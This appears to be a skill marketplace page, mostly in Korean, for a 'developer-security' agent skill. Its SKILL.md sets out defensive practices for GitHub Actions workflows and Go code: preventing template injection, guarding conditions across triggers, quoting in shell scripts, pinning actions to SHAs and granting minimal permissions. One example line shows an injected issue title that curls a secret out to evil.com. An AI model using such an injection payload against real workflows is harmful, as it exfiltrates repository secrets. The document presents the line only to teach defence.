본문으로 건너뛰기
cccskills
무료GitHub에 공개

developer-security

Review and implement gh-aw workflows and Go code with security checks for untrusted input, shell commands, dependency versions, and permissions. The skill also covers event-specific conditions and tools that inspect workflows for errors and security risks without running them.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

원문원문 설명 보기

Security best practices for gh-aw workflows and Go code: template injection prevention, shell script security, supply chain hardening, and static analysis integration.

연동 도구GitHub
설치 방법 보기

이럴 때 유용합니다

  • Reviewing issue and PR input handling for injection risks
  • Checking conditions in workflows with multiple event triggers
  • Reviewing action version pins and job permissions
  • Adding workflow checks with actionlint, zizmor, and poutine

포함된 파일(1)

  • SKILL.md11.7 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Security Best Practices

Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.

Table of Contents

Template Injection Prevention

Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.

Understanding the Risk

GitHub Actions expressions (${{ }}) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.

Insecure Pattern

# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        run: echo "${{ github.event.issue.title }}"

Why vulnerable: Issue title is directly interpolated. An attacker can inject: "; curl evil.com/?secret=$SECRET; echo "

Secure Pattern: Environment Variables

# SECURE: Use environment variables
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: echo "$ISSUE_TITLE"

Why secure: Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.

Data Flow Comparison

graph TB
    subgraph "Unsafe Pattern"
        A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
        B1 --> C1[Direct Interpolation<br/>into Shell Command]
        C1 --> D1[Code Execution Risk]
        style D1 fill:#f88,stroke:#f00
    end

    subgraph "Safe Pattern"
        A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
        B2 --> C2[Environment Variable<br/>Assignment]
        C2 --> D2[Shell Receives<br/>Data Only]
        D2 --> E2[No Code Execution]
        style E2 fill:#8f8,stroke:#0f0
    end

Recent Fixes (November 2025)

Template injection vulnerabilities were identified and fixed in:

  • copilot-session-insights.md - Step output passed through environment variable
  • Pattern: Move template expressions from bash scripts to environment variable assignments

See scratchpad/template-injection-prevention.md for detailed analysis and fix documentation.

Secure Pattern: Sanitized Context (gh-aw specific)

# SECURE: Use sanitized context output
Analyze this content: "${{ steps.sanitized.outputs.text }}"

The steps.sanitized.outputs.text output is automatically sanitized:

  • @mentions neutralized
  • Bot triggers protected
  • XML tags converted to safe format
  • Only HTTPS URIs from trusted domains
  • Content limits enforced (0.5MB, 65k lines)
  • Control characters removed

Safe Context Variables

Always safe to use in expressions:

  • github.actor
  • github.repository
  • github.run_id
  • github.run_number
  • github.sha

Never safe in expressions without environment variable indirection:

  • github.event.issue.title
  • github.event.issue.body
  • github.event.comment.body
  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.head_ref (can be controlled by PR authors)

Cross-Trigger Nullability in Generated Conditional Expressions

When Go code generates GitHub Actions if: expressions, nested event fields must be guarded by trigger checks across all declared workflow triggers.

GitHub Actions expression evaluation can fail before any jobs run when an expression accesses an object graph that does not exist for the active trigger (for example github.event.pull_request.* on push, workflow_dispatch, or schedule).

Insecure Pattern (missing trigger guard)

// VULNERABLE: pull_request-only fields referenced unconditionally
condition := fmt.Sprintf(
    "github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
    minPos,
    maxPos,
)

Why vulnerable: On non-PR triggers, github.event.pull_request is absent. Property access or arithmetic on absent nested fields can cause expression evaluation failure (startup_failure) before workflow error handling can run.

Secure Pattern (event_name + nullability guard)

// SECURE: gate nested pull_request fields behind explicit trigger and null checks
condition := fmt.Sprintf(
    "github.event_name == 'pull_request' && github.event.pull_request != null && github.event.pull_request.stack != null && github.event.pull_request.stack.position >= %d && github.event.pull_request.stack.position <= %d",
    minPos,
    maxPos,
)

Required Guidance for Condition Generation

  • Guard every trigger-specific object chain (github.event.pull_request.*, github.event.issue.*, etc.) with github.event_name checks.
  • Add nullability guards for each parent object in the chain before accessing deeper properties.
  • For workflows with multiple triggers, ensure every trigger path either short-circuits safely or avoids unsupported fields entirely.
  • Prefer conservative composition (A && B && C) where early terms validate event type/object existence before nested access.

Verification Checklist

  • Enumerate all declared triggers in the generated workflow.
  • For each generated condition, confirm nested event-field access is valid for every trigger.
  • Validate that unsupported triggers short-circuit before nested field access.
  • Add/update tests in pkg/workflow/*filter*.go (or equivalent) that assert safe conditions for mixed-trigger workflows.

Shell Script Best Practices

SC2086: Double Quote to Prevent Globbing and Word Splitting

Insecure:

steps:
  - name: Process files
    run: |
      FILES=$(ls *.txt)
      for file in $FILES; do
        echo $file
      done

Why vulnerable: Variables can be split on whitespace, glob patterns are expanded, potential command injection.

Secure:

steps:
  - name: Process files
    run: |
      while IFS= read -r file; do
        echo "$file"
      done < <(find . -name "*.txt")

Shell Script Security Checklist

  • Always quote variable expansions: "$VAR"
  • Use [[ ]] instead of [ ] for conditionals
  • Use $() instead of backticks for command substitution
  • Enable strict mode: set -euo pipefail
  • Validate and sanitize all inputs
  • Use shellcheck to catch common issues

Example secure script:

steps:
  - name: Secure script
    env:
      INPUT_VALUE: ${{ github.event.inputs.value }}
    run: |
      set -euo pipefail

      if [[ ! "$INPUT_VALUE" =~ ^[a-zA-Z0-9_-]+$ ]]; then
        echo "Invalid input format"
        exit 1
      fi

      echo "Processing: $INPUT_VALUE"

      result=$(grep -r "$INPUT_VALUE" . || true)
      echo "$result"

Supply Chain Security

Supply chain attacks target dependencies in CI/CD pipelines.

Pin Action Versions with SHA

Insecure:

steps:
  - uses: actions/checkout@v5           # Tag can be moved
  - uses: actions/setup-node@main       # Branch can be updated

Why vulnerable: Tags can be deleted and recreated, branches can be force-pushed, repository ownership can change.

Secure:

steps:
  - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2

Why secure: SHA commits are immutable. Comments indicate human-readable version for updates.

Finding SHA for Actions

# Get SHA for a specific tag
git ls-remote https://github.com/actions/checkout v4.1.1

# Or use GitHub API
curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1

Workflow Structure and Permissions

Minimal Permissions Principle

Insecure:

name: CI
on: [push]

permissions: write-all

Secure:

name: CI
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test

Job-Level Permissions

name: CI/CD
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test

  deploy:
    needs: test
    runs-on: ubuntu-latest
    permissions:
      contents: read
      deployments: write
    steps:
      - uses: actions/checkout@sha
      - run: npm run deploy

Available Permissions

PermissionReadWriteUse Case
contentsRead codePush codeRepository access
issuesRead issuesCreate/edit issuesIssue management
pull-requestsRead PRsCreate/edit PRsPR management
actionsRead runsCancel runsWorkflow management
checksRead checksCreate checksStatus checks
deploymentsRead deploymentsCreate deploymentsDeployment management

Static Analysis Integration

Integrate static analysis tools into development and CI/CD workflows:

Available Tools

  • actionlint - Lints GitHub Actions workflows, validates shell scripts
  • zizmor - Security vulnerability scanner for GitHub Actions
  • poutine - Supply chain security analyzer

Running Locally

# Run individual scanners
actionlint .github/workflows/*.yml
zizmor .github/workflows/
poutine analyze .github/workflows/

# For gh-aw workflows
gh aw compile --actionlint
gh aw compile --zizmor
gh aw compile --poutine

# Strict mode: fail on findings
gh aw compile --strict --actionlint --zizmor --poutine

Review Reporting

Show a findings table only when confirmed findings exist. Otherwise, state "No confirmed vulnerabilities found" without an empty table or placeholder row. This applies to final replies and task-completion summaries: omit the entire findings table when empty, including its header; never put the no-findings sentence in a table row. Report validation blockers and incomplete coverage separately. Follow the debug security-review gate for workflow execution reviews.

Security Checklist

Template Injection

  • No untrusted input in ${{ }} expressions
  • Untrusted data passed via environment variables
  • Safe context variables used where possible
  • Sanitized context used (gh-aw: steps.sanitized.outputs.text)

Shell Scripts

  • All variables quoted: "$VAR"
  • No SC2086 warnings (unquoted expansion)
  • Strict mode enabled: set -euo pipefail
  • Input validation implemented
  • shellcheck passes with no warnings

Supply Chain

  • All actions pinned to SHA (not tags/branches)
  • Version comments added to pinned actions
  • Actions from verified creators or reviewed
  • Dependencies scanned for vulnerabilities

Permissions

  • Minimal permissions specified
  • No write-all permissions
  • Job-level permissions used when needed
  • Fork PR handling secure

Static Analysis

  • actionlint passes (no errors)
  • zizmor passes (High/Critical addressed)
  • poutine passes (supply chain secure)

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Coordinate work across AI agents with shared rules for locating team files, recording decisions and their reasons, and requesting help. It also defines who owns revisions after a reviewer rejects an artifact.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Locate team files across separate working directories
  • Record decisions that affect other agents
  • Request input from another specialist
github/gh-aw5.4천2026년 10월 20일 업데이트

Set shared development rules for an agent team: keep specific agent names out of product code, tests, and CI configuration, verify affected tests before finishing, and record lessons learned from mistakes.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Share development rules across multiple agents
  • Keep team-specific agent names out of code and tests
  • Check affected tests before declaring work complete
github/gh-aw5.4천2026년 10월 20일 업데이트

Routes requests to design, create, update, debug, or upgrade GitHub Agentic Workflows to the appropriate instructions. It helps the agent select a workflow-specific procedure and apply any additional rules defined for the repository.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Designing a new workflow through questions
  • Investigating failed runs and recurring errors
  • Upgrading workflows and addressing deprecations
github/gh-aw5.4천2026년 10월 20일 업데이트

Prepare architecture proposals before implementation so the team can agree on a direction. Organize evidence, technical choices, effects on existing work, risks, and the first release’s scope into a document with clear recommendations and decision owners.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Proposing a major architecture change
  • Replanning milestones after a foundation change
  • Comparing technical options before seeking approval
github/gh-aw5.4천2026년 10월 20일 업데이트

Update the gh-aw-firewall version used by gh-aw, rebuild generated files, and review release notes and configuration schemas, which define valid settings. It guides related code and test updates while identifying follow-up work that remains.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Updating the firewall version used by gh-aw
  • Reviewing release notes for integration changes
  • Checking configuration schema differences
github/gh-aw5.4천2026년 10월 20일 업데이트

Review git and gh operations in gh-aw workflows to check credential availability for each repository. Identify missing token handoffs, risky expansions of limited checkouts, and error handling needed where credentials are intentionally unavailable.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Reviewing git operations after repository checkout
  • Checking tokens for private cross-repository access
  • Reviewing sparse and shallow checkout changes
github/gh-aw5.4천2026년 10월 20일 업데이트

github의 스킬 모두 보기

이 스킬의 문제 신고